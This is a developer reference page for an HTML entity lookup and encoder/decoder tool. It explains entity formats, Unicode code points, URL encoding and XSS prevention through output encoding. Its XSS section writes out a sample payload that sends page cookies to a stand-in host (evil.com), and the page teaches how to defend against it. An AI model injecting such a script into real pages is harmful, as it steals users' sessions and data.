Covers 200+ HTML entities · Real-time search · Encoder / Decoder · Complete comparison

HTML Entity Lookup HTML entity query comparison table

Query the name, code, Unicode and character display of all HTML entities. Built-in Entity Encoder / Decoder Instant conversion tool, a must-have for web developers.

Common HTML Entities

🎮 Entity Playground Encoding/decoding tools

Encode or decode HTML instantly and view the conversion results with one click

❓ FAQ FAQ

Frequently Asked Questions and Answers about HTML Entity

What is HTML Entity?

HTML Entity is a way of representing special characters in HTML files. When you want to display a character that has a special meaning in HTML (such as <>&), or display characters that cannot be entered directly on the keyboard (such as ©), you need to use HTML Entity.

HTML Entity has three representation methods:

  • Entity Name — as &copy;&lt;, remember by name, easier to read
  • Decimal Code — as &#169;&#60;, expressed in decimal Unicode
  • Hex Code — as &#xA9;&#x3C;, expressed in hexadecimal Unicode
Why do you need HTML Encode?

HTML Encode is the process of converting special characters into corresponding HTML Entities. This is very important in the following scenarios:

  • Prevent XSS attacks — Enter the user-entered <script> convert to &lt;script&gt;, to avoid malicious script execution
  • Show reserved characters — Display in web content <>& without being parsed as HTML tags by the browser
  • Email Template — Make sure emails display correctly in each email client
  • XML/RSS Feed — Make sure special characters don’t break the feed structure
  • Database output — Securely render user-generated content on the web

Security reminder: In web development,never Directly output user input as HTML. Be sure to perform HTML Encoding. This is the most basic and important protection against XSS (cross-site scripting attacks).

What is the difference between Entity Name, Decimal and Hex?

These three are all ways of representing HTML Entity, but each has its own advantages and disadvantages:

way Format Example (©) Advantages Disadvantages
Entity Name &name; &copy; Easy to read and easy to remember Not all characters have names
Decimal &#D; &#169; All Unicode characters are available Long and difficult to remember
Hex &#xH; &#xA9; Directly corresponds to Unicode encoding Need to understand hexadecimal

Suggestions for use: Prioritize use in daily development Entity Name(Best readability), used if the character does not have an Entity Name Decimal or Hex code. The rendering results of the three in the browser are exactly the same.

What does HTML Entity have to do with Unicode?

Unicode It is a universal character encoding standard that assigns a unique code point (Code Point) to each character, such as U+00A9 Represents the © symbol.

Decimal of HTML Entity and Hex The format is essentially a different carry representation of the Unicode code point:

  • Unicode Code PointU+00A9(hexadecimal)
  • HTML Hex Entity&#xA9;(Remove U+, add &#x and ;)
  • HTML Decimal Entity&#169;(Convert 0xA9 to decimal 169)

Simply put: HTML Entity is the "expression" of Unicode in HTML files. when you use &#xA9; or &#169; When you do this, you are telling the browser: "Please display characters with the Unicode code point U+00A9 here." Unicode is a standard, and HTML Entity is the application of this standard in HTML.

What is the difference between HTML Encode and URL Encode?

These are two different concepts that are often confused:

Features HTML Encode URL Encode
PurposeDisplay characters safely in HTMLSafely transmit characters in URLs
encoding method&lt;&#60;%3C%20
Example <&lt;%3C
Example Blank&nbsp;%20
Application scenariosHTML content, Email TemplateURL query parameters, API requests

Simple distinction: If you are writing an HTML file, what you need is HTML Encode. If you are constructing a URL (e.g. ?q=hello world), what is needed is URL Encode(Also known as Percent Encoding).

What do XSS attacks have to do with HTML Entity?

XSS(Cross-Site Scripting) It is a common web security vulnerability. The attacker injects malicious scripts into web pages, and when other users browse the page, the malicious scripts will be executed.

HTML Entity encoding is the first line of defense against XSS:

Example:

Not safe: user input <script>alert('XSS')</script> Direct output → the script is executed

Security: After HTML Encode → &lt;script&gt;alert('XSS')&lt;/script&gt; → Safe display as text

Best practices:

  • HTML Encode all user input on the server side
  • Use Content Security Policy (CSP) headers as a second layer of protection
  • avoid using dangerouslySetInnerHTML(React) or v-html(Vue) Unless absolutely necessary
  • Encode all dynamic content output to HTML
How to do HTML Encode/Decode in JavaScript?

In JavaScript, the simplest and safest way to encode/decode HTML is to use the DOM API:

HTML Encode:

function htmlEncode(str) {
    const el = document.createElement('span');
    el.textContent = str;
    return el.innerHTML;
}
// "<div>Hello & World</div>"
htmlEncode('<div>Hello & World</div>');

HTML Decode:

function htmlDecode(str) {
    const el = document.createElement('span');
    el.innerHTML = str;
    return el.textContent;
}
// "<div>Hello & World</div>"
htmlDecode('&lt;div&gt;Hello &amp; World&lt;/div&gt;');

💡 Tips: Can also be used DOMParser or innerHTML parsing, but the above method is the most lightweight and safe way to do it. Use ToolHub's Entity Playground to test encoding and decoding results on the fly.

📖 Complete Guide to HTML Entity

Learn more about how HTML Entity works, usage scenarios, and security best practices

What is HTML Entity? Why is it so important for web development?

HTML Entity Is a text sequence used to represent special characters in HTML files. In HTML syntax, certain characters have special meanings (such as < Represents the beginning of the label,& stands for Entity), when you want to display these characters as ordinary text, you must use HTML Entity.

In addition, HTML Entity can also help you display characters that cannot be entered directly on the keyboard, such as the copyright symbol ©, registered trademark ®, Euro symbol Wait. For the presentation of multilingual websites and special symbols, HTML Entity is an indispensable tool.

Three ways of expressing HTML Entity

Each HTML Entity can be represented in the following three ways:

1. Entity Name (named entity)

Use easy-to-remember names for characters. The format is &名稱;. For example:

  • &copy; → ©
  • &lt; → <
  • &amp; → &
  • &reg; → ®

The advantages of Entity Name are High readability and easy to remember. The disadvantage is that not all Unicode characters have corresponding Entity Names (only about 2200+ common characters have named entities).

2. Decimal Code (decimal digital entity)

Characters are represented using decimal digits of Unicode code points. The format is &#數字;. For example:

  • &#169; → © (Unicode U+00A9 = decimal 169)
  • &#60; → <(Unicode U+003C = decimal 60)
  • &#8364; → € (Unicode U+20AC = decimal 8364)

The advantages of Decimal Code are Covers all Unicode characters, don’t worry about not being able to find the corresponding Entity Name.

3. Hex Code (hexadecimal digital entity)

Characters are represented using hexadecimal digits of Unicode code points. The format is &#x十六進位;(x is not case sensitive). For example:

  • &#xA9; → ©(Unicode U+00A9)
  • &#x3C; → <(Unicode U+003C)
  • &#x20AC; → €(Unicode U+20AC)

The advantages of Hex Code are Directly corresponds to Unicode encoding, developers can directly find the corresponding hexadecimal value in the Unicode table.

HTML common special characters cheat sheet

The following are the most commonly used HTML Entities in web development:

character Entity Name Decimal Hex Description
&&amp;&#38;&#x26;& symbol
<&lt;&#60;&#x3C;less than
>&gt;&#62;&#x3E;greater than
"&quot;&#34;&#x22;double quotes
'&apos;&#39;&#x27;single quote
&nbsp;&#160;&#xA0;Keep blank lines
©&copy;&#169;&#xA9;Copyright symbol
®&reg;&#174;&#xAE;Registered trademark
&trade;&#8482;&#x2122;Trademark symbol
&euro;&#8364;&#x20AC;Euro

HTML Entity and XSS Protection

XSS(Cross-Site Scripting) It is one of the most common web security vulnerabilities. Attackers inject malicious scripts into web pages to steal user information, hijack sessions, or conduct phishing attacks.

HTML Entity encoding is the most basic and important means to prevent XSS attacks:

Attack scenario:

In the comment area, the attacker submitted:<script>document.location='http://evil.com/?cookie='+document.cookie</script>

❌ If output directly to the page → the attack script is executed and the user’s cookie is stolen

✅ If HTML Encode → converted to &lt;script&gt;...&lt;/script&gt; → Safe display as plain text

Best Practices for XSS Protection

  • Input validation — Validate and filter user input on both front-end and back-end
  • Output encoding — Use different encodings depending on the output location (HTML, JavaScript, CSS, URL)
  • Content Security Policy(CSP) — Set HTTP headers to limit script sources
  • HttpOnly Cookie — Set the HttpOnly attribute of the cookie to prevent JavaScript access
  • Use secure framework APIs — React {text}(non dangerouslySetInnerHTML), Vue's { text }(not v-html)
  • Regular safety testing — Use automated tools to scan for XSS vulnerabilities

HTML Entity encoding and decoding tools

In actual development, you may need:

  • Encode — will <div>Tom & Jerry</div> convert to &lt;div&gt;Tom &amp; Jerry&lt;/div&gt;
  • Decode — will &lt;div&gt;Tom &amp; Jerry&lt;/div&gt; Convert back to original HTML

Use what ToolHub provides Entity Playground, you can enter the original text on the left to encode, or the encoded text on the right to decode. All operations are done locally in the browser and no data is uploaded.

Application of HTML Entity in Email Template

In Email Template development, HTML Entity is particularly important:

  • Cross-mail client compatibility — Different email clients (Outlook, Gmail, Apple Mail) have different levels of support for HTML. Use Entity to ensure that special characters are displayed correctly.
  • Copyright and trademark symbols — Display symbols such as ©, ®, ™, etc. in the email footer
  • currency symbol — Correct display of currency symbols such as €, £, ¥, ₽ etc. in the newsletter
  • Avoid coding issues — Use Entity to avoid garbled characters caused by different email client character encoding settings.

HTML Entity and SEO

Proper use of HTML Entities also has a positive impact on SEO:

  • Avoid content misunderstandings — use &copy; instead of the © character to ensure that search engines correctly parse the content
  • Title and Meta Description — in <title> and <meta> Use Entity to ensure that special characters are displayed correctly
  • structured data — Use Entity in structured data such as JSON-LD to avoid parsing errors
  • Sitemap — Using Entity to handle special characters in an XML Sitemap

Summary: HTML Entity is the basic knowledge of web development. Whether it is displaying special characters, preventing XSS attacks, developing Email Template, or optimizing SEO, the correct use of HTML Entity is inseparable. Use ToolHub's HTML Entity Lookup tool to query the Entity code of any character at any time, and use Entity Playground for encoding and decoding testing.

Operation successful